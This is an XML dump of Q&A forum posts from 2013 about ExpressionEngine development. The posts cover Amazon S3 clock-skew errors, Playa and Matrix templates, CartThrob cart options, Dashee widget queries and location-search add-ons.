  <row Id="10308" PostTypeId="2" ParentId="10170" CreationDate="2013-05-12T09:11:12.963" Score="3" Body="&lt;p&gt;I have solved this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Assets error message did not seem very helpful, it was inconsistent with the issue. The Assets response implied the Amazon credentials were wrong, but they were not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So therefore I needed to debug tha actual Amazon response. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the function listBuckets() in system/third_party/assets/sourses/s3/lib/S3.php I could see there is a response object being returned by Amazon, called $rest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outputting $rest to the screen showed me &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error =&amp;gt; Array&#xA;(&#xA;    code =&amp;gt; RequestTimeTooSkewed&#xA;    message =&amp;gt; The difference between the request time and the current time is too large.&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this I assumed my server time was wrong, and indeed it was, it was about 30 minutes out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Correcting the server time fixed the issue.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The server is UTC timezone, which is 1 hour behind the actual summer time here in the UK. So for example, if it was 20:30 I had to set the servet time to 19:30 for it to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the problem is fixed BUT this has identified a lack of reporting in Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I think Assets needs to output the actual Amazon error returned instead of showing a generic (and incorrect) error whenever any error is returned from Amazon.&lt;/strong&gt; &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-05-12T09:11:12.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10309" PostTypeId="1" CreationDate="2013-05-12T15:16:53.727" Score="1" ViewCount="445" Body="&lt;p&gt;I have a matrix field ({home_layout}) with the first cell setup as a Playa select single entry all in the channel home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I now call the channel entry data from that Playa field which is from the channel main?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;home&quot;}&#xA;{home_layout}&#xA;{playa}&#xA;{title}&#xA;{/playa}&#xA;{/home_layout}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which is returning nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First time i've used Playa and Matrix so appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-06-13T23:38:05.793" Title="Matrix and Playa: Pull Channel Entry Data" Tags="|matrix|playa|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10310" PostTypeId="1" AcceptedAnswerId="10311" CreationDate="2013-05-12T16:05:09.233" Score="1" ViewCount="228" Body="&lt;p&gt;I'm trying to get my head around EE so please bear with me on something probably simple: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you loop through a EE entries chunk and append a number? Like a id=&quot;blogitem-1&quot;, id=&quot;blogitem-2&quot;, id=&quot;blogitem-3&quot;... there may be no end to the numbering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a blog section that requires each hidden ID be sequential. I got the jquery popover working using {entry_id} but I need to go forwards and backwards and the pager doesn't work. I cheated a little using {switch=&quot;1|2|3|4&quot;}... but that's really ugly and it has a fixed end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code snippet: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;blog&quot;&#xA;    disable=&quot;category_fields|member_data|pagination|trackbacks&quot;&#xA;    status=&quot;Open&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    paginate=&quot;bottom&quot;                &#xA;}&#xA;&amp;lt;!-- This is a blog item --&amp;gt;&#xA;&amp;lt;div class=&quot;blogitem-content hidden&quot; id=&quot;blogitem-{entry_id}&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{base_image:blogimg}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;primary-color&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;h3&amp;gt;{subtitle}&amp;lt;/h3&amp;gt;&#xA;    {body}              &#xA;&#xA;    &amp;lt;ul class=&quot;pager&quot;&amp;gt;&#xA;        &amp;lt;li class=&quot;previous&quot;&amp;gt;&amp;lt;a href=&quot;#blogitem-2&quot; class=&quot;&quot;&amp;gt;&amp;amp;larr; Previous&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;next&quot;&amp;gt;&amp;lt;a href=&quot;#blogitem-4&quot; class=&quot;&quot;&amp;gt;Next &amp;amp;rarr;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;              &#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- / Blog item --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows what could be entry #3, with the pager linking to the previous id (#2) and the next (#4). While &quot;{entry_id}&quot; lets me pop-up the post, I can't navigate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also don't want to expose PHP to the template (not understanding PHP too much I don't want to open up something that can bite me later). I can't seem to generate a simple progressive 1, 2, 3... for the id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm learning EE and a bit of jQuery, so sorry if this is elementary&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2013-05-12T16:46:32.297" Title="Help with sequential numbering in a Entries loop?" Tags="|channel-entries|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10311" PostTypeId="2" ParentId="10310" CreationDate="2013-05-12T16:46:32.297" Score="4" Body="&lt;p&gt;You can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#count&quot; rel=&quot;nofollow&quot;&gt;{count}&lt;/a&gt; or &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#absolute-count&quot; rel=&quot;nofollow&quot;&gt;{absolute_count}&lt;/a&gt;, instead of {entry_id}. {count} restart on every page, while {absolute_count} increases across pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, 'tackbacks' isn't a value of the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#disable&quot; rel=&quot;nofollow&quot;&gt;disable parameter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-12T16:46:32.297" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10312" PostTypeId="2" ParentId="10309" CreationDate="2013-05-12T16:47:06.783" Score="0" Body="&lt;p&gt;Try using the Playa children tag instead of the regular Playa field tag, so you can make use of the &lt;code&gt;var_prefix&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;home&quot;}&#xA;  {home_layout}&#xA;    {exp:playa:children field=&quot;playa_field&quot; var_prefix=&quot;pl&quot;}&#xA;      {pl:title}&#xA;    {/exp:playa:children}&#xA;  {/home_layout}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-12T16:47:06.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10313" PostTypeId="2" ParentId="10286" CreationDate="2013-05-12T17:35:13.697" Score="0" Body="&lt;p&gt;I always use Matrix to create my price modifiers, over the CT Price Modifier field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's Much more flexible in terms of added extra options.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-05-12T17:35:13.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10315" PostTypeId="1" CreationDate="2013-05-12T17:55:53.770" Score="2" ViewCount="227" Body="&lt;p&gt;I am using CarThrob for purchasing places on training courses. Each course type (singing, acting, dance etc) is an entry. Each entry has a Matrix field used for options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matrix column names are: option_value (text), age-range (text), time (text), price (text), booked (P&amp;amp;T Pill), student_name (text).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have CartThrob set so multiple quantities are always added as single items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my checkout page in the update_cart_form I would like the customer to be able to fill in the &quot;Student name&quot; field for each item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I am getting the student_name input field displayed but as soon as you enter text into it and update it creates a duplicate field next to itself. I can't work out why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my Update cart form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    {exp:cartthrob:update_cart_form &#xA;&#xA;                    id=&quot;update_cart_form&quot;&#xA;                    class=&quot;simple&quot;&#xA;                    return=&quot;weekend-courses/checkout&quot;&#xA;                    }&#xA;&#xA;                    {exp:cartthrob:cart_items_info}&#xA;&#xA;                    {if first_row}&#xA;                    &amp;lt;table&amp;gt;&#xA;                        &amp;lt;thead&amp;gt;&#xA;                            &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;th&amp;gt;Subject&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th&amp;gt;Quantity&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th&amp;gt;Course&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th&amp;gt;Cost&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th&amp;gt;Student Name&amp;lt;/th&amp;gt;&#xA;                                &amp;lt;th&amp;gt;&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;                        &amp;lt;/thead&amp;gt;&#xA;                        &amp;lt;tbody&amp;gt;&#xA;                    {/if}&#xA;                            &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;input class=&quot;short&quot; type=&quot;text&quot; name=&quot;quantity[{row_id}]&quot; size=&quot;2&quot; value=&quot;{quantity}&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                {exp:cartthrob:item_options row_id=&quot;{row_id}&quot;}&#xA;                                {options}&#xA;                                {if selected}&#xA;                                &amp;lt;td&amp;gt;{option_value}&amp;lt;/td&amp;gt;     &#xA;                                &amp;lt;td&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;item_options[{row_id}][student_name]&quot; value=&quot;{item_options:student_name}&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                {/if}&#xA;                                {/options}&#xA;                                {/exp:cartthrob:item_options}&#xA;                                &amp;lt;td&amp;gt;&#xA;                                    &amp;lt;label class=&quot;checkbox&quot; for=&quot;delete_this_{row_id}&quot;&amp;gt;&#xA;                                        &amp;lt;input type=&quot;checkbox&quot; id=&quot;delete_this_{row_id}&quot; value=&quot;yes&quot; name=&quot;delete[{row_id}]&quot;&amp;gt;&#xA;                                        Remove item&#xA;                                    &amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/td&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;                    {if last_row}&#xA;                            &amp;lt;tr class=&quot;shaded&quot;&amp;gt;&#xA;                                &amp;lt;td&amp;gt;Total&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td&amp;gt;{cart_total}&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;button type=&quot;submit&quot; value=&quot;weekend-courses/checkout&quot; name=&quot;return&quot; class=&quot;btn&quot;&amp;gt;UPDATE&amp;lt;/button&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;&#xA;                        &amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;/table&amp;gt;&#xA;                    {/if}&#xA;&#xA;                    {/exp:cartthrob:cart_items_info}&#xA;&#xA;                {/exp:cartthrob:update_cart_form}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-05-12T19:31:03.207" Title="How to allow customers to add a note to each item in a CartThrob cart?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10316" PostTypeId="1" AcceptedAnswerId="10345" CreationDate="2013-05-12T19:06:33.250" Score="1" ViewCount="111" Body="&lt;p&gt;I'm trying to get my EE add-on (using Dashee) to get entries from the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;_EE-&amp;gt;db-&amp;gt;select('ct.channel_id, ct.title, ct.entry_date, ct.status, cd.field_id_52, cd.field_id_67, cd.field_id_73');&#xA;    $this-&amp;gt;_EE-&amp;gt;db-&amp;gt;from('channel_titles AS ct, channel_data AS cd');&#xA;    $this-&amp;gt;_EE-&amp;gt;db-&amp;gt;where('ct.channel_id', $settings-&amp;gt;channel_id);&#xA;    $this-&amp;gt;_EE-&amp;gt;db-&amp;gt;order_by('entry_date DESC');&#xA;    $this-&amp;gt;_EE-&amp;gt;db-&amp;gt;limit($settings-&amp;gt;limit);&#xA;    $entries = $this-&amp;gt;_EE-&amp;gt;db-&amp;gt;get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works, but when it outputs I get 4 entries, when really there should only be 1. But the overall total of entries on my site is 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I think is happening is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_EE-&amp;gt;db-&amp;gt;where('ct.channel_id', $settings-&amp;gt;channel_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is not selecting the correct channel, but not sure why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings are set like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $this-&amp;gt;settings = array(&#xA;            'title' =&amp;gt; 'Recent Orders',&#xA;            'channel_id' =&amp;gt; '6',&#xA;            'limit' =&amp;gt; '10',&#xA;            'field_firstname' =&amp;gt; 'orders_firstname',&#xA;            'field_surname' =&amp;gt; 'orders_surname',&#xA;            'field_total' =&amp;gt; 'orders_total',&#xA;            'custom_url' =&amp;gt; '10',&#xA;            'status' =&amp;gt; 'Processing'&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-05-13T21:30:51.727" Title="WHERE and JOIN in EE Add-on Dev" Tags="|add-on|mysql|dashee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10317" PostTypeId="1" CreationDate="2013-05-12T19:09:36.030" Score="1" ViewCount="411" Body="&lt;p&gt;Part of my Dashee widget isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm setting the settings like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $this-&amp;gt;settings = array(&#xA;            'title' =&amp;gt; 'Recent Orders',&#xA;            'channel_id' =&amp;gt; '6',&#xA;            'limit' =&amp;gt; '10',&#xA;            'field_firstname' =&amp;gt; 'orders_firstname',&#xA;            'field_surname' =&amp;gt; 'orders_surname',&#xA;            'field_total' =&amp;gt; 'orders_total',&#xA;            'custom_url' =&amp;gt; '10',&#xA;            'status' =&amp;gt; 'Processing'&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the title setting works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; value=&quot;'.$settings-&amp;gt;title.'&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so does channel_id, limit &amp;amp; status. But my custom_url, field_firstname, field_surname, field_total don't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;custom_url&quot; value=&quot;'.$settings-&amp;gt;custom_url.'&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just throws this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered Severity: Notice&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Undefined property: stdClass::$custom_url&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-05-12T19:09:36.030" Title="Message: Undefined property: stdClass" Tags="|add-on|mysql|dashee|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10318" PostTypeId="2" ParentId="10315" CreationDate="2013-05-12T19:31:03.207" Score="1" Body="&lt;p&gt;I don't think you need the row_id in the name attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;item_options[student_name]&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-12T19:31:03.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10320" PostTypeId="1" AcceptedAnswerId="10322" CreationDate="2013-05-13T03:50:18.523" Score="0" ViewCount="806" Body="&lt;p&gt;I don't know if I am just going a bit barmy but I upgraded a site we are developing from 2.5.5 to 2.6 and then to 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything looked ok until I tried to make a playa relationship work and no matter what I tried there was no fun to be had.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed playa and tried to do the same thing using the new relationships field in 2.6.1 and still nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The setup is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parent Channel = schools &lt;/li&gt;&#xA;&lt;li&gt;Child Channel = people&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Restricted to people with status of teacher&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Parent can only have one child&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The code (which is on a page by itself):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;schools&quot;}&#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {cf_schools_teacher}&#xA;        &amp;lt;li&amp;gt;{cf_schools_teacher:cf_people_first_name}&amp;lt;/li&amp;gt;&#xA;    {/cf_schools_teacher}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the output I only get the Schools title and the ul tags - I checked the database exp_relationships and the pointers all seem to be correct although there is no data in the field in exp_channel_data (i'm not sure if there's meant to be)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something basic? Or should I abandon 2.6.1 and start again in 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks&#xA;Sean&lt;/p&gt;&#xA;" OwnerUserId="539" LastActivityDate="2013-05-13T04:53:03.047" Title="EE 2.6.1 relationships - just not working - at all" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10321" PostTypeId="1" CreationDate="2013-05-13T04:06:57.790" Score="1" ViewCount="84" Body="&lt;p&gt;I want to exclude my site's tracking code(s) from my local development templates, but I've a hard time writing the conditional. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using an embedded template which contains the doctype, metadata and also has an embed for the css template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you write a conditional within this embedded template which checks if there is a file (snipped or embedded template)  called &quot;analysis&quot;?&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2013-05-13T11:37:37.930" Title="Conditional tracking" Tags="|conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10322" PostTypeId="2" ParentId="10320" CreationDate="2013-05-13T04:53:03.047" Score="1" Body="&lt;p&gt;I got it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I am in the parent and there is only one child entry I don't need the cf_schools_teacher tag pair - just leave them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" OwnerUserId="539" LastActivityDate="2013-05-13T04:53:03.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10323" PostTypeId="2" ParentId="9978" CreationDate="2013-05-13T05:30:59.923" Score="2" Body="&lt;p&gt;Fieldpack 2.02 fixed this problem.&lt;/p&gt;&#xA;" OwnerUserId="1421" LastActivityDate="2013-05-13T05:30:59.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10325" PostTypeId="1" CreationDate="2013-05-13T08:14:50.477" Score="0" ViewCount="241" Body="&lt;p&gt;I'm working on an estate agents website and am looking to create a 'find properties near me' feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I might do this will be gratefully received!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-05-13T14:01:30.843" Title="Any ideas on how to create a 'find properties near me' feature on EE?" Tags="|search|google-maps|geofinder|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10326" PostTypeId="2" ParentId="10325" CreationDate="2013-05-13T08:44:25.213" Score="2" Body="&lt;p&gt;Geofinder add-on will help you here: &lt;a href=&quot;http://devot-ee.com/add-ons/geofinder&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/geofinder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs: &lt;a href=&quot;http://mightybigrobot.com/docs/geofinder/&quot; rel=&quot;nofollow&quot;&gt;http://mightybigrobot.com/docs/geofinder/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then each of the properties is an entry which has a longitude and latitude reference for the location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:geofinder:simple_form id=&quot;findhome&quot; result_page=&quot;/home-search&quot; class=&quot;group&quot;}&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Search for a home&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;radius&quot; value=&quot;1000&quot; /&amp;gt;&#xA;        &amp;lt;label for=&quot;searchhome&quot;&amp;gt;Search for a home&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;geoquery&quot; id=&quot;searchhome&quot; class=&quot;required&quot; title=&quot;Enter a search location&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:geofinder:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example results page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:geofinder:location_results channel=&quot;content&quot; limit=&quot;6&quot; geoquery=&quot;{segment_2}&quot; radius=&quot;1000&quot; latitude=&quot;latitude&quot; longitude=&quot;longitude&quot; disable=&quot;member_data|category_fields|trackbacks&quot;}&#xA;    {if no_results}No results can be found for that location. Please try a different search term: either a postcode, city or town{/if}&#xA;        &amp;lt;div class=&quot;homeresult group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;summary&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{if alternative-title}{alternative-title}{if:else}{title}{/if} &amp;lt;em&amp;gt;{location-details}{town}, {county}{/location-details}&amp;lt;/em&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{distance} miles from {exp:markup_master:replace find=&quot;+&quot; replace=&quot; &quot;}{segment_2}{/exp:markup_master:replace} &#xA;                    &amp;lt;a href=&quot;#?custom=true&amp;amp;width=600&amp;amp;height=400&quot; rel=&quot;popup-map&quot; class=&quot;button&quot;&amp;gt;Show on a map&#xA;                        &amp;lt;span class=&quot;longitude&quot;&amp;gt;{longitude}&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;span class=&quot;latitude&quot;&amp;gt;{latitude}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/h3&amp;gt;&#xA;                {if &quot;{excerpt}&quot;}{excerpt}{if:else}{exp:trunchtml chars=&quot;150&quot; inline=&quot;...&quot;}{content-text}{/exp:trunchtml}{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--/.homeresult--&amp;gt;&#xA;{/exp:geofinder:location_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above example is where you prompt the user for a location, if you want to allow for mobile devices and automatically defaulting to the users location based on IP, you could use IPGeo &lt;a href=&quot;http://devot-ee.com/add-ons/ipgeo&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ipgeo&lt;/a&gt;. Although a great add-on, it does have a fair overhead and needs to be updated every few months to ensure all the latest IP address database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the initial search form you would add hidden fields like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ipgeo}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;user_lat&quot; value=&quot;{latitude}&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;user_lng&quot; value=&quot;{longitude}&quot;&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;geoquery&quot; id=&quot;searchhome&quot; class=&quot;required&quot; title=&quot;Enter a search location&quot; value=&quot;{city}&quot; /&amp;gt;&#xA;{/exp:ipgeo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've only entered the automatic City entry above so that the user has something to submit to.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-05-13T14:01:30.843" LastActivityDate="2013-05-13T14:01:30.843" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10327" PostTypeId="2" ParentId="10325" CreationDate="2013-05-13T08:51:08.643" Score="1" Body="&lt;p&gt;I understand that the &lt;a href=&quot;http://devot-ee.com/add-ons/google-maps&quot; rel=&quot;nofollow&quot; title=&quot;Google Maps for ExpressionEngine&quot;&gt;Google Maps for ExpressionEngine&lt;/a&gt; add-on is a go-to addon for &quot;geofinding,&quot; based on &lt;a href=&quot;https://www.objectivehtml.com/google-maps/examples&quot; rel=&quot;nofollow&quot;&gt;this examples page&lt;/a&gt; in which there is a &quot;store locator&quot; example. As luck would have it, that particular example is borked right now (I get an &quot;out of memory error&quot; when I go to access the particular example). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like it would be worth it to write the developer, ask them about the add-on's compatibility with the latest EE version, and see if they can't fix the issue on the examples page so you can see how it performs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this addon running on a site I'm using and I like it (it performs far better than other addons have, in my experience), but so far, I've only used it to display maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rob&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2013-05-13T08:51:08.643" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
